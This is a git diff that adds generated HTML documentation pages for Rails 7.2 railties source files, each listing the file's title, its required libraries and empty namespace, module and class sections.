diff --git a/src/7.2/files/railties/lib/rails/configuration_rb.html b/src/7.2/files/railties/lib/rails/configuration_rb.html new file mode 100644 index 0000000000..46eca5675f --- /dev/null +++ b/src/7.2/files/railties/lib/rails/configuration_rb.html @@ -0,0 +1,93 @@ +--- +title: configuration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/ordered_options
  • + +
  • active_support/core_ext/object
  • + +
  • rails/paths
  • + +
  • rails/rack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/files/railties/lib/rails/console/app_rb.html b/src/7.2/files/railties/lib/rails/console/app_rb.html similarity index 100% rename from src/files/railties/lib/rails/console/app_rb.html rename to src/7.2/files/railties/lib/rails/console/app_rb.html diff --git a/src/files/railties/lib/rails/console/helpers_rb.html b/src/7.2/files/railties/lib/rails/console/helpers_rb.html similarity index 100% rename from src/files/railties/lib/rails/console/helpers_rb.html rename to src/7.2/files/railties/lib/rails/console/helpers_rb.html diff --git a/src/7.2/files/railties/lib/rails/console/methods_rb.html b/src/7.2/files/railties/lib/rails/console/methods_rb.html new file mode 100644 index 0000000000..24117f48ce --- /dev/null +++ b/src/7.2/files/railties/lib/rails/console/methods_rb.html @@ -0,0 +1,72 @@ +--- +title: methods.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/deprecator_rb.html b/src/7.2/files/railties/lib/rails/deprecator_rb.html new file mode 100644 index 0000000000..af8c00d57e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/dev_caching_rb.html b/src/7.2/files/railties/lib/rails/dev_caching_rb.html new file mode 100644 index 0000000000..923d0ccfc2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/dev_caching_rb.html @@ -0,0 +1,78 @@ +--- +title: dev_caching.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/engine/commands_rb.html b/src/7.2/files/railties/lib/rails/engine/commands_rb.html new file mode 100644 index 0000000000..614e364c4d --- /dev/null +++ b/src/7.2/files/railties/lib/rails/engine/commands_rb.html @@ -0,0 +1,65 @@ +--- +title: commands.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/commands
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/engine/configuration_rb.html b/src/7.2/files/railties/lib/rails/engine/configuration_rb.html new file mode 100644 index 0000000000..6441e594e2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/engine/configuration_rb.html @@ -0,0 +1,89 @@ +--- +title: configuration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/railtie/configuration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/engine/railties_rb.html b/src/7.2/files/railties/lib/rails/engine/railties_rb.html new file mode 100644 index 0000000000..770846da61 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/engine/railties_rb.html @@ -0,0 +1,79 @@ +--- +title: railties.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/engine/updater_rb.html b/src/7.2/files/railties/lib/rails/engine/updater_rb.html new file mode 100644 index 0000000000..77efc2f15e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/engine/updater_rb.html @@ -0,0 +1,91 @@ +--- +title: updater.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/rails/plugin/plugin_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/engine_rb.html b/src/7.2/files/railties/lib/rails/engine_rb.html new file mode 100644 index 0000000000..c4f13cc3e0 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/engine_rb.html @@ -0,0 +1,111 @@ +--- +title: engine.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/railtie
  • + +
  • rails/engine/railties
  • + +
  • active_support/callbacks
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/object/try
  • + +
  • pathname
  • + +
  • thread
  • + +
  • rails/console/methods
  • + +
  • rake
  • + +
  • rails/generators
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/gem_version_rb.html b/src/7.2/files/railties/lib/rails/gem_version_rb.html new file mode 100644 index 0000000000..c46c8bfd29 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/actions/create_migration_rb.html b/src/7.2/files/railties/lib/rails/generators/actions/create_migration_rb.html new file mode 100644 index 0000000000..867a72b7ac --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/actions/create_migration_rb.html @@ -0,0 +1,84 @@ +--- +title: create_migration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
  • thor/actions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/actions_rb.html b/src/7.2/files/railties/lib/rails/generators/actions_rb.html new file mode 100644 index 0000000000..8ff1c5c57d --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/actions_rb.html @@ -0,0 +1,86 @@ +--- +title: actions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • shellwords
  • + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/core_ext/string/strip
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/active_model_rb.html b/src/7.2/files/railties/lib/rails/generators/active_model_rb.html new file mode 100644 index 0000000000..6a1b2987f0 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/active_model_rb.html @@ -0,0 +1,79 @@ +--- +title: active_model.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/app_base_rb.html b/src/7.2/files/railties/lib/rails/generators/app_base_rb.html new file mode 100644 index 0000000000..879a8c2cf2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/app_base_rb.html @@ -0,0 +1,109 @@ +--- +title: app_base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • fileutils
  • + +
  • digest/md5
  • + +
  • rails/version
  • + +
  • open-uri
  • + +
  • tsort
  • + +
  • uri
  • + +
  • rails/generators
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • bundler
  • + +
  • shellwords
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/app_name_rb.html b/src/7.2/files/railties/lib/rails/generators/app_name_rb.html new file mode 100644 index 0000000000..8a6530b39b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/app_name_rb.html @@ -0,0 +1,72 @@ +--- +title: app_name.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/base_rb.html b/src/7.2/files/railties/lib/rails/generators/base_rb.html new file mode 100644 index 0000000000..a7bd734efb --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/base_rb.html @@ -0,0 +1,87 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thor/group
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/database_rb.html b/src/7.2/files/railties/lib/rails/generators/database_rb.html new file mode 100644 index 0000000000..833f8a7ba9 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/database_rb.html @@ -0,0 +1,91 @@ +--- +title: database.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/erb/controller/controller_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/erb/controller/controller_generator_rb.html new file mode 100644 index 0000000000..424b161e36 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/erb/controller/controller_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: controller_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/erb
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/erb/mailer/mailer_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/erb/mailer/mailer_generator_rb.html new file mode 100644 index 0000000000..ec881d76b2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/erb/mailer/mailer_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: mailer_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/erb
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/erb/scaffold/scaffold_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/erb/scaffold/scaffold_generator_rb.html new file mode 100644 index 0000000000..e37e069c8b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/erb/scaffold/scaffold_generator_rb.html @@ -0,0 +1,67 @@ +--- +title: scaffold_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/erb
  • + +
  • rails/generators/resource_helpers
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/erb_rb.html b/src/7.2/files/railties/lib/rails/generators/erb_rb.html new file mode 100644 index 0000000000..b82ecfe8bc --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/erb_rb.html @@ -0,0 +1,65 @@ +--- +title: erb.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/named_base
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/generated_attribute_rb.html b/src/7.2/files/railties/lib/rails/generators/generated_attribute_rb.html new file mode 100644 index 0000000000..2ef2f25c96 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/generated_attribute_rb.html @@ -0,0 +1,82 @@ +--- +title: generated_attribute.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/migration_rb.html b/src/7.2/files/railties/lib/rails/generators/migration_rb.html new file mode 100644 index 0000000000..a6c3bb3dc8 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/migration_rb.html @@ -0,0 +1,86 @@ +--- +title: migration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
  • rails/generators/actions/create_migration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/model_helpers_rb.html b/src/7.2/files/railties/lib/rails/generators/model_helpers_rb.html new file mode 100644 index 0000000000..9a5356c7f5 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/model_helpers_rb.html @@ -0,0 +1,80 @@ +--- +title: model_helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/active_model
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/named_base_rb.html b/src/7.2/files/railties/lib/rails/generators/named_base_rb.html new file mode 100644 index 0000000000..d61438ec77 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/named_base_rb.html @@ -0,0 +1,91 @@ +--- +title: named_base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/base
  • + +
  • rails/generators/generated_attribute
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/app/app_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/app/app_generator_rb.html new file mode 100644 index 0000000000..c0c1b90c28 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/app/app_generator_rb.html @@ -0,0 +1,101 @@ +--- +title: app_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/app_base
  • + +
  • rails/generators/rails/devcontainer/devcontainer_generator
  • + +
  • rails/generators/rails/master_key/master_key_generator
  • + +
  • rails/generators/rails/credentials/credentials_generator
  • + +
  • rails/version
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/application_record/application_record_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/application_record/application_record_generator_rb.html new file mode 100644 index 0000000000..adb7f65786 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/application_record/application_record_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: application_record_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/benchmark/benchmark_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/benchmark/benchmark_generator_rb.html new file mode 100644 index 0000000000..c905635f96 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/benchmark/benchmark_generator_rb.html @@ -0,0 +1,87 @@ +--- +title: benchmark_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/named_base
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/controller/controller_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/controller/controller_generator_rb.html new file mode 100644 index 0000000000..6f237fc28b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/controller/controller_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: controller_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/credentials/credentials_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/credentials/credentials_generator_rb.html new file mode 100644 index 0000000000..2aa96fbf7e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/credentials/credentials_generator_rb.html @@ -0,0 +1,86 @@ +--- +title: credentials_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/base
  • + +
  • rails/generators/rails/master_key/master_key_generator
  • + +
  • active_support/encrypted_configuration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/db/system/change/change_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/db/system/change/change_generator_rb.html new file mode 100644 index 0000000000..46b961ea5c --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/db/system/change/change_generator_rb.html @@ -0,0 +1,95 @@ +--- +title: change_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/base
  • + +
  • yaml
  • + +
  • json
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator_rb.html new file mode 100644 index 0000000000..63b2f3a4f6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator_rb.html @@ -0,0 +1,87 @@ +--- +title: devcontainer_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator_rb.html new file mode 100644 index 0000000000..51a5fd7746 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator_rb.html @@ -0,0 +1,84 @@ +--- +title: encrypted_file_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/base
  • + +
  • active_support/encrypted_file
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator_rb.html new file mode 100644 index 0000000000..46c6f53243 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator_rb.html @@ -0,0 +1,86 @@ +--- +title: encryption_key_file_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • rails/generators/base
  • + +
  • active_support/encrypted_file
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/generator/generator_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/generator/generator_generator_rb.html new file mode 100644 index 0000000000..de1d52bec9 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/generator/generator_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: generator_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/helper/helper_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/helper/helper_generator_rb.html new file mode 100644 index 0000000000..757121b0f1 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/helper/helper_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: helper_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/integration_test/integration_test_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/integration_test/integration_test_generator_rb.html new file mode 100644 index 0000000000..469d2b3931 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/integration_test/integration_test_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: integration_test_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/master_key/master_key_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/master_key/master_key_generator_rb.html new file mode 100644 index 0000000000..f1a5cee65b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/master_key/master_key_generator_rb.html @@ -0,0 +1,88 @@ +--- +title: master_key_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • rails/generators/base
  • + +
  • rails/generators/rails/encryption_key_file/encryption_key_file_generator
  • + +
  • active_support/encrypted_file
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/migration/migration_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/migration/migration_generator_rb.html new file mode 100644 index 0000000000..07fc8752e2 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/migration/migration_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: migration_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/model/model_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/model/model_generator_rb.html new file mode 100644 index 0000000000..6328a0f816 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/model/model_generator_rb.html @@ -0,0 +1,80 @@ +--- +title: model_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/model_helpers
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/plugin/plugin_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/plugin/plugin_generator_rb.html new file mode 100644 index 0000000000..6d6a7a564e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/plugin/plugin_generator_rb.html @@ -0,0 +1,91 @@ +--- +title: plugin_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/except
  • + +
  • rails/generators/rails/app/app_generator
  • + +
  • date
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/resource/resource_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/resource/resource_generator_rb.html new file mode 100644 index 0000000000..d3d23b867e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/resource/resource_generator_rb.html @@ -0,0 +1,82 @@ +--- +title: resource_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/resource_helpers
  • + +
  • rails/generators/rails/model/model_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/resource_route/resource_route_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/resource_route/resource_route_generator_rb.html new file mode 100644 index 0000000000..4abb8950fe --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/resource_route/resource_route_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: resource_route_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/scaffold/scaffold_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/scaffold/scaffold_generator_rb.html new file mode 100644 index 0000000000..694d6a429e --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/scaffold/scaffold_generator_rb.html @@ -0,0 +1,80 @@ +--- +title: scaffold_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/rails/resource/resource_generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator_rb.html new file mode 100644 index 0000000000..4a04a7b773 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator_rb.html @@ -0,0 +1,80 @@ +--- +title: scaffold_controller_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/resource_helpers
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/system_test/system_test_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/system_test/system_test_generator_rb.html new file mode 100644 index 0000000000..f2fb62b4e3 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/system_test/system_test_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: system_test_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/rails/task/task_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/rails/task/task_generator_rb.html new file mode 100644 index 0000000000..69af2357d6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/rails/task/task_generator_rb.html @@ -0,0 +1,72 @@ +--- +title: task_generator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/resource_helpers_rb.html b/src/7.2/files/railties/lib/rails/generators/resource_helpers_rb.html new file mode 100644 index 0000000000..18bda36818 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/resource_helpers_rb.html @@ -0,0 +1,82 @@ +--- +title: resource_helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/active_model
  • + +
  • rails/generators/model_helpers
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_case_rb.html b/src/7.2/files/railties/lib/rails/generators/test_case_rb.html new file mode 100644 index 0000000000..03d70c92b6 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_case_rb.html @@ -0,0 +1,95 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators
  • + +
  • rails/generators/testing/behavior
  • + +
  • rails/generators/testing/setup_and_teardown
  • + +
  • rails/generators/testing/assertions
  • + +
  • fileutils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/controller/controller_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/controller/controller_generator_rb.html new file mode 100644 index 0000000000..4a4687d1af --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/controller/controller_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: controller_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/generator/generator_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/generator/generator_generator_rb.html new file mode 100644 index 0000000000..f7bde0418b --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/generator/generator_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: generator_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/generators/test_unit/helper/helper_generator_rb.html b/src/7.2/files/railties/lib/rails/generators/test_unit/helper/helper_generator_rb.html new file mode 100644 index 0000000000..81208b3bd4 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/generators/test_unit/helper/helper_generator_rb.html @@ -0,0 +1,65 @@ +--- +title: helper_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails/generators/test_unit
  • + +
